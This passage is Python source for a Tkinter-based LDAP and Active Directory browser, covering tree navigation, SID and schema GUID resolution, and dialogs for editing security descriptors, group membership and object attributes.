ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            # Reset SSP.\n            self.ssp = None\n            return\n        except Exception as ex:\n            self.tprint(str(ex))\n            # Reset SSP.\n            self.ssp = None\n            raise\n        self.tprint(\"Authenticated.\\n\")\n        self.bound = True\n\n    def tree(self, *args):\n        \"\"\"\n        Tree command.\n        \"\"\"\n        if not self.connected:\n            return\n\n        # Get namingContexts from rootDSE\n        try:\n            results = self.client.search(attributes=[\"namingContexts\"])\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        attrs = results.get(\"\", None)  # root\n        if attrs is None:\n            return\n\n        if \"namingContexts\" in attrs:\n            self.tk_tree.delete(*self.tk_tree.get_children())\n            for root in attrs[\"namingContexts\"]:\n                self.tk_tree.insert(\"\", \"end\", root, text=root)\n\n    def _showsearchresult(self, baseObject, results):\n        \"\"\"\n        Display attributes search result\n        \"\"\"\n        if baseObject in results:\n            self.tprint(\"Dn: %s\" % (baseObject or \"(RootDSE)\"), tags=[\"bold\"])\n            self.tprint(\n                \"\\n\".join(\n                    \"    %s%s: %s\"\n                    % (\n                        k,\n                        \"\" if len(v) == 1 else \" (%s)\" % len(v),\n                        self._format_attribute(k, v, crop=True),\n                    )\n                    for k, v in sorted(results[baseObject].items(), key=lambda x: x[0])\n                )\n                + \"\\n\"\n            )\n\n    def treedoubleclick(self, _):\n        \"\"\"\n        Action done on tree double-click.\n        \"\"\"\n        # Get clicked item\n        try:\n            item = self.tk_tree.selection()[0]\n        except IndexError:\n            # Nothing is selected\n            return\n\n        # Unclickable\n        if self.tk_tree.tag_has(\"unclickable\", item):\n            return\n\n        # Does it already have children? If so delete them.\n        self.tk_tree.delete(*self.tk_tree.get_children(item))\n\n        self.tprint(\"-----------\\nExpanding base '%s'...\" % item)\n\n        # Get children\n        try:\n            results = self.client.search(\n                baseObject=item,\n                scope=1,\n                attributes=[\"1.1\"],\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        # Add to tree\n        if not results:\n            self.tk_tree.insert(item, \"end\", text=\"No children\", tags=(\"unclickable\",))\n        else:\n            for child in results:\n                self.tk_tree.insert(item, \"end\", child, text=child)\n\n        # Get attributes\n        try:\n            results = self.client.search(\n                baseObject=item,\n                scope=0,\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        # Display\n        self._showsearchresult(item, results)\n\n    def load_guids(self):\n        \"\"\"\n        Load the various guids:\n        - schemaIDguid\n        - propset\n\n        This cache is used to resolve the GUIDs of objects in ACEs.\n        \"\"\"\n        if self.loadedSchemaIDGuids:\n            return True\n\n        # Property set\n        self.guids.update(\n            (\n                k,\n                {\n                    \"objectClass\": [\"propset\"],\n                    \"name\": v,\n                },\n            )\n            for k, v in LDAP_PROPERTY_SET.items()\n        )\n\n        # Control access\n        self.guids.update(\n            (\n                k,\n                {\n                    \"objectClass\": [\"controlset access right\"],\n                    \"name\": v,\n                },\n            )\n            for k, v in LDAP_CONTROL_ACCESS_RIGHTS.items()\n        )\n\n        self.tprint(\"Resolving schemaIDguid... \", flush=True)\n        try:\n            results = self.client.search(\n                baseObject=self.rootDSE[\"schemaNamingContext\"][0],\n                scope=1,\n                attributes=[\"lDAPDisplayName\", \"schemaIDGUID\", \"objectClass\"],\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return False\n\n        self.guids.update(\n            {\n                uuid.UUID(bytes_le=v[\"schemaIDGUID\"][0]): {\n                    \"objectClass\": v[\"objectClass\"],\n                    \"name\": v[\"lDAPDisplayName\"][0],\n                }\n                for v in results.values()\n                if \"schemaIDGUID\" in v\n            }\n        )\n\n        self.guidscombo.update({v[\"name\"]: k for k, v in self.guids.items()})\n        self.guidscomboobject.update(\n            {\n                v[\"name\"]: k\n                for k, v in self.guids.items()\n                if \"classSchema\" in v[\"objectClass\"]\n            }\n        )\n        self.loadedSchemaIDGuids = True\n        self.tprint(\"OK !\")\n        return True\n\n    def _rslvtype(self, x):\n        \"\"\"\n        Resolve Object types GUIDs\n        \"\"\"\n        if x in self.guids:\n            return self.guids[x][\"name\"]\n        return str(x)\n\n    def _rslvsid(self, x):\n        \"\"\"\n        Resolve SIDs\n        \"\"\"\n        if isinstance(x, WINNT_SID):\n            x = x.summary()\n        if x in self.sids:\n            return self.sids[x]\n        return x or \"\"\n\n    def resolvesids(self, sids):\n        \"\"\"\n        Queue a list of SIDs for resolution.\n        They are then added to self.sids if successful.\n        \"\"\"\n        unknowns = [x for x in (y.summary() for y in sids) if x not in self.sids]\n        if not unknowns:\n            return\n\n        # Perform a resolution using [MS-LSAT] LsarLookupSids3\n        client = DCERPC_Client(\n            DCERPC_Transport.NCACN_IP_TCP,\n            ndr64=False,\n            auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY,\n            ssp=self.ssp,\n        )\n        client.connect_and_bind(self.host, find_dcerpc_interface(\"drsuapi\"))\n\n        # 1. DRSBind\n        bind_resp = client.sr1_req(\n            IDL_DRSBind_Request(\n                puuidClientDsa=NTDSAPI_CLIENT_GUID,\n                pextClient=DRS_EXTENSIONS(rgb=bytes(DRS_EXTENSIONS_INT(Pid=1234))),\n                ndr64=client.ndr64,\n            ),\n        )\n        if bind_resp.status != 0:\n            self.tprint(\"Bind Request failed.\")\n            bind_resp.show()\n            return\n\n        # 2. DRSCrackNames\n        resp = client.sr1_req(\n            IDL_DRSCrackNames_Request(\n                hDrs=bind_resp.phDrs,\n                dwInVersion=1,\n                pmsgIn=NDRUnion(\n                    tag=1,\n                    value=DRS_MSG_CRACKREQ_V1(\n                        CodePage=0x4E4,  #\n                        LocaleId=0x409,  # US-EN\n                        formatOffered=11,  # SID\n                        formatDesired=0xFFFFFFF2,  # DS_USER_PRINCIPAL_NAME_FOR_LOGON\n                        rpNames=unknowns,\n                    ),\n                ),\n                ndr64=client.ndr64,\n            ),\n        )\n        if resp.status != 0:\n            self.tprint(\"DsCracknames Request failed.\")\n            resp.show()\n            return\n\n        # 3. parse results\n        for i, res in enumerate(resp.valueof(\"pmsgOut.pResult.rItems\")):\n            if res.status != 0:\n                # Errored\n                continue\n            name = res.valueof(\"pName\")\n            self.sids[unknowns[i]] = name.decode()\n\n        # alias for combobox\n        self.sidscombo = {self._rslvsid(x): x for x in self.sids.keys()}\n\n    def viewsec(self, *args):\n        \"\"\"\n        View security descriptor\n        \"\"\"\n        # Get clicked item\n        item = self.tk_tree.selection()[0]\n\n        # Get SD\n        try:\n            results = self.client.search(\n                baseObject=item,\n                scope=0,\n                attributes=[\"nTSecurityDescriptor\"],\n                controls=[\n                    LDAP_Control(\n                        controlType=\"1.2.840.113556.1.4.801\",\n                        criticality=True,\n                        controlValue=LDAP_serverSDFlagsControl(\n                            flags=\"OWNER+GROUP+DACL+SACL\",\n                        ),\n                    )\n                ],\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        if item not in results:\n            return\n\n        try:\n            nTSecurityDescriptor = SECURITY_DESCRIPTOR(\n                results[item][\"nTSecurityDescriptor\"][0]\n            )\n        except KeyError:\n            self.tprint(\n                \"Security Descriptor could NOT be read ! (Access denied?)\",\n                tags=[\"error\"],\n            )\n            return\n        except LDAP_Exception as ex:\n            self.tprint(\n                \"Error parsing the Security Descriptor: \" + str(ex),\n                tags=[\"error\"],\n            )\n            return\n\n        # Resolve the guids\n        if not self.load_guids():\n            return\n\n        # Pre-resolve all the SIDs.\n        owner = getattr(nTSecurityDescriptor, \"OwnerSid\", None)\n        group = getattr(nTSecurityDescriptor, \"GroupSid\", None)\n        _to_resolve = [\n            owner,\n            group,\n        ]\n        if hasattr(nTSecurityDescriptor, \"DACL\"):\n            _to_resolve.extend(x.Sid for x in nTSecurityDescriptor.DACL.Aces)\n        if hasattr(nTSecurityDescriptor, \"SACL\"):\n            _to_resolve.extend(x.Sid for x in nTSecurityDescriptor.SACL.Aces)\n        self.resolvesids(_to_resolve)\n\n        # Get dialog\n        popup = BasePopup(self.root)\n        dlg = popup.dlg\n\n        # Security Descriptor UI\n        dlg.columnconfigure(0, weight=1)\n        dlg.rowconfigure(tuple(range(5)), weight=1)\n\n        sidfrm = ttk.Frame(dlg)\n        sidfrm.grid(row=0, sticky=\"we\")\n        sidfrm.grid_columnconfigure(1, weight=1)\n\n        ownerv = tk.StringVar()\n        ownerv.set(self._rslvsid(owner))\n        ttk.Label(sidfrm, text=\"Owner\").grid(row=0, column=0, sticky=\"we\")\n        ttk.Combobox(\n            sidfrm, textvariable=ownerv, values=list(self.sidscombo.keys())\n        ).grid(row=0, column=1, sticky=\"we\")\n\n        groupv = tk.StringVar()\n        groupv.set(self._rslvsid(group))\n        ttk.Label(sidfrm, text=\"Group\").grid(row=1, column=0, sticky=\"we\")\n        ttk.Combobox(\n            sidfrm, textvariable=groupv, values=list(self.sidscombo.keys())\n        ).grid(row=1, column=1, sticky=\"we\")\n\n        sdcontrolfrm = ttk.LabelFrame(\n            dlg,\n            text=\"SD Control\",\n        )\n        sdflags = [\n            \"SELF_RELATIVE\",\n            \"DACL_PRESENT\",\n            \"SACL_PRESENT\",\n            \"OWNER_DEFAULTED\",\n            \"DACL_PROTECTED\",\n            \"SACL_PROTECTED\",\n            \"GROUP_DEFAULTED\",\n            \"DACL_AUTO_INHERITED\",\n            \"SACL_AUTO_INHERITED\",\n            \"RM_CONTROL_VALID\",\n            \"DACL_DEFAULTED\",\n            \"SACL_DEFAULTED\",\n            \"SERVER_SECURITY\",\n            \"DACL_COMPUTED\",\n            \"SACL_COMPUTED\",\n            None,\n            \"DACL_TRUSTED\",\n        ]\n        sdvars = [None] * len(sdflags)\n        for i, sdflag in enumerate(sdflags):\n            if sdflag is None:\n                continue\n            sdvars[i] = tk.BooleanVar()\n            sdvars[i].set(getattr(nTSecurityDescriptor.Control, sdflag))\n            ttk.Checkbutton(sdcontrolfrm, variable=sdvars[i], text=sdflag).grid(\n                row=(i // 3) * 4, column=(i % 3) * 4, columnspan=4, sticky=\"w\"\n            )\n        sdcontrolfrm.grid(row=1, sticky=\"we\")\n\n        def acegui(ace, parentdlg=dlg):\n            data = ace.extractData(accessMask=LDAP_DS_ACCESS_RIGHTS)\n\n            # Sub-dialog\n            subpopup = BasePopup(parentdlg)\n            dlg = subpopup.dlg\n\n            # Edit ACE UI\n            dlg.columnconfigure(1, weight=1)\n            dlg.rowconfigure(tuple(range(8)), weight=1)\n\n            # Trustee\n            trusteev = tk.StringVar()\n            trusteev.set(self._rslvsid(data[\"sid-string\"]))\n            ttk.Label(dlg, text=\"Trustee\").grid(row=0, column=0, sticky=\"we\")\n            ttk.Combobox(\n                dlg, textvariable=trusteev, values=list(self.sidscombo.keys())\n            ).grid(row=0, column=1, sticky=\"we\")\n\n            # ACE type\n            ttk.Label(dlg, text=\"ACE type\").grid(row=1, column=0, sticky=\"we\")\n            acetypefrm = ttk.Frame(\n                dlg,\n            )\n            acetypev = tk.IntVar()\n            acetypev.set(ace.AceType - 5 if ace.AceType >= 5 else ace.AceType)\n            ttk.Radiobutton(\n                acetypefrm,\n                variable=acetypev,\n                text=\"Allow\",\n                value=0x00,\n            ).grid(row=0, column=0)\n            ttk.Radiobutton(\n                acetypefrm,\n                variable=acetypev,\n                text=\"Deny\",\n                value=0x01,\n            ).grid(row=0, column=1)\n            ttk.Radiobutton(\n                acetypefrm,\n                variable=acetypev,\n                text=\"Audit\",\n                value=0x02,\n            ).grid(row=0, column=2)\n            ttk.Radiobutton(\n                acetypefrm,\n                variable=acetypev,\n                text=\"Alarm\",\n                value=0x03,\n                state=tk.DISABLED,\n            ).grid(row=0, column=3)\n            acetypefrm.grid(row=1, column=1, sticky=\"we\")\n\n            # Access Mask\n            accessmaskfrm = ttk.LabelFrame(\n                dlg,\n                text=\"Access Mask\",\n            )\n            sdvars = [None] * len(LDAP_DS_ACCESS_RIGHTS)\n            for i, maskval in enumerate(LDAP_DS_ACCESS_RIGHTS.values()):\n                sdvars[i] = tk.BooleanVar()\n                sdvars[i].set(getattr(data[\"mask\"], maskval))\n                ttk.Checkbutton(accessmaskfrm, variable=sdvars[i], text=maskval).grid(\n                    row=i // 4, column=i % 4, sticky=\"w\"\n                )\n            accessmaskfrm.grid(row=2, column=0, columnspan=2, sticky=\"we\")\n\n            # ACE flags\n            aceflagsfrm = ttk.LabelFrame(\n                dlg,\n                text=\"Access Mask\",\n            )\n            aceflagsvars = [None] * len(WINNT_ACE_FLAGS)\n            for i, aceval in enumerate(WINNT_ACE_FLAGS.values()):\n                aceflagsvars[i] = tk.BooleanVar()\n                aceflagsvars[i].set(getattr(ace.AceFlags, aceval))\n                ttk.Checkbutton(\n                    aceflagsfrm, variable=aceflagsvars[i], text=aceval\n                ).grid(row=i // 4, column=i % 4, sticky=\"w\")\n            aceflagsfrm.grid(row=3, column=0, columnspan=2, sticky=\"we\")\n\n            # Object type\n            objecttypev = tk.StringVar()\n            objecttypev.set(self._rslvtype(data[\"object-guid\"]) or \"None\")\n            ttk.Label(dlg, text=\"Object type\").grid(row=5, column=0, sticky=\"we\")\n            ttk.Combobox(\n                dlg, textvariable=objecttypev, values=list(self.guidscombo.keys())\n            ).grid(row=5, column=1, sticky=\"we\")\n\n            # Inherited object type\n            inheritedobjecttypev = tk.StringVar()\n            inheritedobjecttypev.set(\n                self._rslvtype(data[\"inherited-object-guid\"]) or \"None\"\n            )\n            ttk.Label(dlg, text=\"Inherited object type\").grid(\n                row=6, column=0, sticky=\"we\"\n            )\n            ttk.Combobox(\n                dlg,\n                textvariable=inheritedobjecttypev,\n                values=list(self.guidscomboobject.keys()),\n            ).grid(row=6, column=1, sticky=\"we\")\n\n            # OK / Cancel\n            btnfrm = ttk.Frame(dlg)\n            ttk.Button(btnfrm, text=\"OK\", command=subpopup.dismiss).grid(\n                row=0, column=0\n            )\n            ttk.Button(btnfrm, text=\"Cancel\", command=subpopup.cancel).grid(\n                row=0, column=1\n            )\n            btnfrm.grid(row=7)\n\n            # Setup\n            if subpopup.run():\n                # Cancelled\n                return\n\n            # Get values\n            trustee = trusteev.get()\n            acetype = acetypev.get()\n            objecttype = objecttypev.get()\n            inheritedobjecttype = inheritedobjecttypev.get()\n            mask = 0\n            for i, (sdvar, v) in enumerate(\n                zip(sdvars, list(LDAP_DS_ACCESS_RIGHTS.keys()))\n            ):\n                if sdvar is None:\n                    continue\n                if sdvar.get():\n                    mask |= v\n            aceflags = 0\n            for i, (aceflagvar, v) in enumerate(\n                zip(aceflagsvars, list(WINNT_ACE_FLAGS.keys()))\n            ):\n                if aceflagvar is None:\n                    continue\n                if aceflagvar.get():\n                    aceflags |= v\n\n            # Set back into ACE\n            if trustee in self.sidscombo:\n                Sid = WINNT_SID.fromstr(self.sidscombo[trustee])\n            else:\n                Sid = WINNT_SID.fromstr(trustee)\n            if objecttype in self.guidscombo:\n                objecttype = self.guidscombo[objecttype]\n            elif objecttype:\n                objecttype = uuid.UUID(objecttype)\n            if inheritedobjecttype in self.guidscomboobject:\n                inheritedobjecttype = self.guidscomboobject[inheritedobjecttype]\n            elif inheritedobjecttype:\n                inheritedobjecttype = uuid.UUID(inheritedobjecttype)\n            Flags = 0\n            if objecttype:\n                Flags |= 1\n            if inheritedobjecttype:\n                Flags |= 2\n            if acetype == 0x00:\n                if Flags:\n                    ace.AceType = 0x05\n                    ace.payload = WINNT_ACCESS_ALLOWED_OBJECT_ACE(\n                        Mask=mask,\n                        Sid=Sid,\n                        Flags=Flags,\n                        ObjectType=objecttype,\n                        InheritedObjectType=inheritedobjecttype,\n                    )\n                else:\n                    ace.AceType = 0x00\n                    ace.payload = WINNT_ACCESS_ALLOWED_ACE(\n                        Mask=mask,\n                        Sid=Sid,\n                    )\n            elif acetype == 0x01:\n                if Flags:\n                    ace.AceType = 0x06\n                    ace.payload = WINNT_ACCESS_DENIED_OBJECT_ACE(\n                        Mask=mask,\n                        Sid=Sid,\n                        Flags=Flags,\n                        ObjectType=objecttype,\n                        InheritedObjectType=inheritedobjecttype,\n                    )\n                else:\n                    ace.AceType = 0x01\n                    ace.payload = WINNT_ACCESS_DENIED_ACE(\n                        Mask=mask,\n                        Sid=Sid,\n                    )\n            elif acetype == 0x02:\n                if Flags:\n                    ace.AceType = 0x07\n                    ace.payload = WINNT_SYSTEM_AUDIT_OBJECT_ACE(\n                        Mask=mask,\n                        Sid=Sid,\n                        Flags=Flags,\n                        ObjectType=objecttype,\n                        InheritedObjectType=inheritedobjecttype,\n                    )\n                else:\n                    ace.AceType = 0x02\n                    ace.payload = WINNT_SYSTEM_AUDIT_ACE(\n                        Mask=mask,\n                        Sid=Sid,\n                    )\n            else:\n                raise NotImplementedError\n            ace.AceFlags = aceflags\n\n        def addace(id, table, ace, pos=\"end\"):\n            data = ace.extractData(accessMask=LDAP_DS_ACCESS_RIGHTS)\n            table.insert(\n                \"\",\n                pos,\n                id,\n                values=(\n                    ace.sprintf(\"%AceType%\"),\n                    self._rslvsid(data[\"sid-string\"]),\n                    str(data[\"mask\"])\n                    + (\n                        \" (%s)\" % self._rslvtype(data[\"object-guid\"])\n                        if data[\"object-guid\"]\n                        else \"\"\n                    ),\n                    ace.sprintf(\"%AceFlags%\"),\n                ),\n            )\n\n        def acltable(name):\n            aclfrm = ttk.LabelFrame(dlg, text=name, borderwidth=0)\n\n            tvfr = ttk.Frame(aclfrm)\n            tvfr.grid_columnconfigure(0, weight=1)\n            tvfr.grid_rowconfigure(0, weight=1)\n\n            acltree = ttk.Treeview(\n                tvfr, show=\"headings\", columns=(\"type\", \"trustee\", \"rights\", \"flags\")\n            )\n            acltree.heading(\"type\", text=\"Type\")\n            acltree.heading(\"trustee\", text=\"Trustee\")\n            acltree.heading(\"rights\", text=\"Rights\")\n            acltree.heading(\"flags\", text=\"Flags\")\n\n            tree_scrollbar = AutoHideScrollbar(\n                tvfr, orient=\"vertical\", command=acltree.yview\n            )\n            acltree.configure(yscrollcommand=tree_scrollbar.set)\n            acltree.grid(row=0, column=0, sticky=\"nsew\")\n\n            # Populate\n            aclobj = getattr(nTSecurityDescriptor, name, None)\n            if aclobj is not None:\n                for i, ace in enumerate(aclobj.Aces):\n                    addace(i, acltree, ace)\n\n            def add(*_):\n                ace = WINNT_ACE_HEADER() / WINNT_ACCESS_ALLOWED_ACE()\n                acegui(ace)\n                # Append\n                aclobj.Aces.append(ace)\n                addace(len(aclobj.Aces) - 1, acltree, ace)\n\n            def delete(*_):\n                try:\n                    selected = int(acltree.selection()[0])\n                    del aclobj.Aces[selected]\n                except IndexError:\n                    return\n                # Full refresh as indexes change.\n                acltree.delete(*acltree.get_children())\n                for i, ace in enumerate(aclobj.Aces):\n                    addace(i, acltree, ace)\n\n            def edit(*_):\n                try:\n                    selected = int(acltree.selection()[0])\n                    ace = aclobj.Aces[selected]\n                except IndexError:\n                    return\n                acegui(ace)\n                # Update\n                acltree.delete(selected)\n                addace(selected, acltree, ace, pos=selected)\n\n            btnfrm = ttk.Frame(aclfrm)\n            btnfrm.grid_columnconfigure(0, weight=1)\n            ttk.Button(btnfrm, text=\"Add\", command=add).grid(row=0)\n            ttk.Button(btnfrm, text=\"Delete\", command=delete).grid(row=1)\n            ttk.Button(btnfrm, text=\"Edit\", command=edit).grid(row=2)\n            btnfrm.pack(side=\"right\")\n\n            tvfr.pack(fill=\"both\", expand=True)\n            return aclfrm\n\n        acltable(\"DACL\").grid(row=2, sticky=\"we\")\n        acltable(\"SACL\").grid(row=3, sticky=\"we\")\n\n        btnfrm = ttk.Frame(dlg)\n        ttk.Button(btnfrm, text=\"Update\", command=popup.dismiss).grid(row=0, column=0)\n        ttk.Button(btnfrm, text=\"Cancel\", command=popup.cancel).grid(row=0, column=1)\n        btnfrm.grid(row=4)\n\n        # Setup\n        if popup.run():\n            # Cancelled\n            return\n\n        # From UI back into ntSecurityDescriptor\n\n        # Owner\n        owner = ownerv.get()\n        if owner in self.sidscombo:\n            nTSecurityDescriptor.OwnerSid = WINNT_SID.fromstr(self.sidscombo[owner])\n        else:\n            nTSecurityDescriptor.OwnerSid = WINNT_SID.fromstr(owner)\n\n        # Group\n        group = groupv.get()\n        if group in self.sidscombo:\n            nTSecurityDescriptor.GroupSid = WINNT_SID.fromstr(self.sidscombo[group])\n        else:\n            nTSecurityDescriptor.GroupSid = WINNT_SID.fromstr(group)\n\n        # Control\n        control = SECURITY_DESCRIPTOR(Control=0).Control\n        for i, (sdvar, v) in enumerate(zip(sdvars, sdflags)):\n            if sdvar is None:\n                continue\n            if sdvar.get():\n                control |= v\n        nTSecurityDescriptor.Control = control\n\n        # Offsets need to be recalculated\n        nTSecurityDescriptor.OwnerSidOffset = None\n        nTSecurityDescriptor.GroupSidOffset = None\n        nTSecurityDescriptor.DACLOffset = None\n        nTSecurityDescriptor.SACLOffset = None\n\n        # Pfew, we did it. That was some big UI.\n\n        # Now update the SD.\n        try:\n            self.client.modify(\n                object=item,\n                changes=[\n                    LDAP_ModifyRequestChange(\n                        operation=\"replace\",\n                        modification=LDAP_PartialAttribute(\n                            type=\"ntSecurityDescriptor\",\n                            values=[\n                                LDAP_AttributeValue(value=bytes(nTSecurityDescriptor))\n                            ],\n                        ),\n                    )\n                ],\n                controls=[\n                    LDAP_Control(\n                        controlType=\"1.2.840.113556.1.4.801\",\n                        criticality=True,\n                        controlValue=LDAP_serverSDFlagsControl(\n                            flags=\"OWNER+GROUP+DACL+SACL\",\n                        ),\n                    )\n                ],\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        self.tprint(\"Security descriptor updated.\")\n\n    def _members_popup(self, selection, mode=\"memberof\"):\n        \"\"\"\n        The base of the \"Member Of\" and \"Members\" popups\n\n        :param mode: either \"memberof\" or \"members\"\n        \"\"\"\n        # Get clicked item\n        item = self.tk_tree.selection()[0]\n\n        # Get the user attributes\n        try:\n            results = self.client.search(\n                baseObject=item,\n                scope=0,\n                attributes=[\"objectClass\", \"memberOf\"],\n            )\n            if item not in results:\n                raise ValueError(\"Bad output\")\n            attributes = results[item]\n        except ValueError as ex:\n            self.tprint(str(ex))\n            return\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        # Check that this item is indeed, a user or a group\n        if not any(x in [\"user\", \"group\"] for x in attributes.get(\"objectClass\", [])):\n            messagebox.showerror(\"Error\", \"Object is neither a user nor a group !\")\n            return\n\n        # Keep track of previous members, and changed ones\n        og_members = set(attributes.get(\"memberOf\", []))\n        members = list(og_members)\n\n        # Get dialog\n        popup = BasePopup(self.root)\n        dlg = popup.dlg\n\n        # \"Member Of\" UI\n        dlg.grid_rowconfigure(0, weight=1)\n        dlg.grid_columnconfigure(0, weight=1)\n\n        memberoffrm = ttk.LabelFrame(\n            dlg,\n            text=\"Member Of\",\n        )\n        memberoffrm.grid_rowconfigure(0, weight=1)\n        memberoffrm.grid_columnconfigure(0, weight=1)\n\n        # Members list\n        entrylist = tk.Listbox(memberoffrm)\n        entrylist.grid(row=0, sticky=\"new\")\n\n        def add(*_, parentdlg=dlg):\n            # Sub-dialog\n            subpopup = BasePopup(parentdlg)\n            dlg = subpopup.dlg\n\n            # New group field\n            newgroupv = tk.StringVar()\n            ttk.Label(dlg, text=\"Group CN:\").grid(row=0, sticky=\"we\")\n            newgroupf = tk.Entry(dlg, textvariable=newgroupv)\n            newgroupf.grid(row=1, sticky=\"we\")\n\n            # OK / Cancel\n            btnfrm = ttk.Frame(dlg)\n            ttk.Button(btnfrm, text=\"OK\", command=subpopup.dismiss).grid(\n                row=0, column=0\n            )\n            ttk.Button(btnfrm, text=\"Cancel\", command=subpopup.cancel).grid(\n                row=0, column=1\n            )\n            btnfrm.grid(row=2, ipadx=5)\n\n            # Focus\n            newgroupf.focus()\n\n            if subpopup.run():\n                return\n\n            # Get results\n            newgroup = newgroupv.get()\n\n            if newgroup:\n                # Store\n                members.append(newgroup)\n                # Display\n                entrylist.insert(\"end\", newgroup)\n\n        def delete(*_):\n            try:\n                selected = int(entrylist.curselection()[0])\n            except IndexError:\n                return\n            # Drop\n            del members[selected]\n            # Remove from list\n            entrylist.delete(selected)\n\n        # Add / Delete\n        btnfrm = ttk.Frame(memberoffrm)\n        ttk.Button(btnfrm, text=\"Add\", command=add).grid(row=0, column=0)\n        ttk.Button(btnfrm, text=\"Delete\", command=delete).grid(row=0, column=1)\n        btnfrm.grid(row=1, sticky=\"we\")\n\n        # Populate\n        for group in og_members:\n            entrylist.insert(\"end\", group)\n            og_members.add(group)\n\n        memberoffrm.grid(row=0, columnspan=2, sticky=\"we\")\n\n        # OK / Cancel\n        btnfrm = ttk.Frame(dlg)\n        ttk.Button(btnfrm, text=\"OK\", command=popup.dismiss).grid(row=0, column=0)\n        ttk.Button(btnfrm, text=\"Cancel\", command=popup.cancel).grid(row=0, column=1)\n        btnfrm.grid(row=1, ipadx=5)\n\n        # Setup\n        if popup.run():\n            # Cancelled\n            return\n\n        # Get results\n        members = set(members)\n        to_add = members - og_members\n        to_rem = og_members - members\n        operations = [(\"add\", x) for x in to_add] + [(\"delete\", x) for x in to_rem]\n\n        for op, group in operations:\n            # Run the operations: on multiple groups, add/remove ourselves from \"member\"\n            try:\n                results = self.client.modify(\n                    object=group,\n                    changes=[\n                        LDAP_ModifyRequestChange(\n                            operation=op,\n                            modification=LDAP_PartialAttribute(\n                                type=\"member\",\n                                values=[LDAP_AttributeValue(value=item)],\n                            ),\n                        )\n                    ],\n                )\n            except ValueError as ex:\n                self.tprint(str(ex))\n                return\n            except LDAP_Exception as ex:\n                self.tprint(\n                    ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                    tags=[\"error\"],\n                )\n                return\n\n        self.tprint(\"Groups of '%s' updated !\" % item)\n\n    def editmemberof(self, *_):\n        \"\"\"\n        Edit popup for \"Member Of\"\n        \"\"\"\n        # Get clicked item\n        item = self.tk_tree.selection()[0]\n\n        self._members_popup(item, \"memberof\")\n\n    def _edit_popup(self, selection, mode=\"edit\", editattrs={}):\n        \"\"\"\n        The base of the \"Edit\" and \"Duplicate\" popups\n\n        :param mode: either \"edit\" or \"new\"\n        :param editattrs: existing attributes to edit\n        \"\"\"\n        # Get dialog\n        popup = BasePopup(self.root)\n        dlg = popup.dlg\n\n        # Edit UI\n        dlg.grid_columnconfigure(1, weight=1)\n\n        # DN\n        dnv = tk.StringVar()\n        dnv.set(selection)\n        if mode == \"edit\":\n            ttk.Label(dlg, text=\"DN:\").grid(row=0, column=0, sticky=\"w\")\n        else:\n            ttk.Label(dlg, text=\"New DN:\").grid(row=0, column=0, sticky=\"w\")\n        tk.Entry(dlg, textvariable=dnv).grid(row=0, column=1, sticky=\"we\")\n\n        # \"Edit entry\" sub-box\n        editentryfrm = ttk.LabelFrame(\n            dlg,\n            text=\"Edit Entry\",\n        )\n        attributev = tk.StringVar()\n        ttk.Label(editentryfrm, text=\"Attribute:\").grid(row=0, column=0)\n        tk.Entry(editentryfrm, textvariable=attributev).grid(\n            row=0, column=1, sticky=\"we\"\n        )\n\n        valuesv = tk.StringVar()\n        ttk.Label(editentryfrm, text=\"Values:\").grid(row=1, column=0)\n        tk.Entry(editentryfrm, textvariable=valuesv).grid(row=1, column=1, sticky=\"we\")\n\n        # \"Operation\" subbox: the radio + the buttons\n        opsfrm = ttk.Frame(editentryfrm)\n        operationfrm = ttk.LabelFrame(\n            opsfrm,\n            text=\"Operation\",\n        )\n        scopev = tk.IntVar()\n        scopev.set(0)\n        ttk.Radiobutton(\n            operationfrm,\n            variable=scopev,\n            text=\"Add\",\n            value=0,\n        ).grid(row=0, column=0)\n        ttk.Radiobutton(\n            operationfrm,\n            variable=scopev,\n            text=\"Delete\",\n            value=1,\n        ).grid(row=0, column=1)\n        ttk.Radiobutton(\n            operationfrm,\n            variable=scopev,\n            text=\"Replace\",\n            value=2,\n        ).grid(row=0, column=2)\n        operationfrm.grid(row=0, column=0, columnspan=2, sticky=\"we\")\n\n        if mode == \"new\":\n            # In 'new', the only allowed operation is 'Add'\n            for child in operationfrm.winfo_children():\n                child.configure(state=tk.DISABLED)\n\n        operations = []\n\n        def enterentrylist():\n            \"\"\"\n            This is called to add an element to the \"Entry List\"\n            \"\"\"\n            op = scopev.get()\n            attr = attributev.get()\n            val = valuesv.get()\n            ident = \"[%s]%s:%s\" % (\n                {0: \"Add\", 1: \"Delete\", 2: \"Replace\"}[op],\n                attr,\n                val,\n            )\n            # Once we have an ident, actually parse the value entered by the user\n            try:\n                val = self._parse_attribute(attr, val)\n            except ValueError:\n                # Parsing failed, show a popup and return without clearing !\n                return\n            # Get current selection and reset it\n            selected = self.currently_editing\n            self.currently_editing = None\n            # Do we have a selection\n            if selected is not None:\n                # Yes, edit\n                # Set in storage\n                operations[selected] = (op, attr, val)\n                # Re-add to display\n                entrylist.delete(selected)\n                entrylist.insert(selected, ident)\n                # Reset selection btw\n                entrylist.itemconfigure(selected, fg=\"black\")\n                entrylist.see(selected)\n            else:\n                # No, create\n                # Add to storage\n                operations.append((op, attr, val))\n                # Add to display\n                entrylist.insert(\"end\", ident)\n            # Clear to really show we're done\n            scopev.set(0)\n            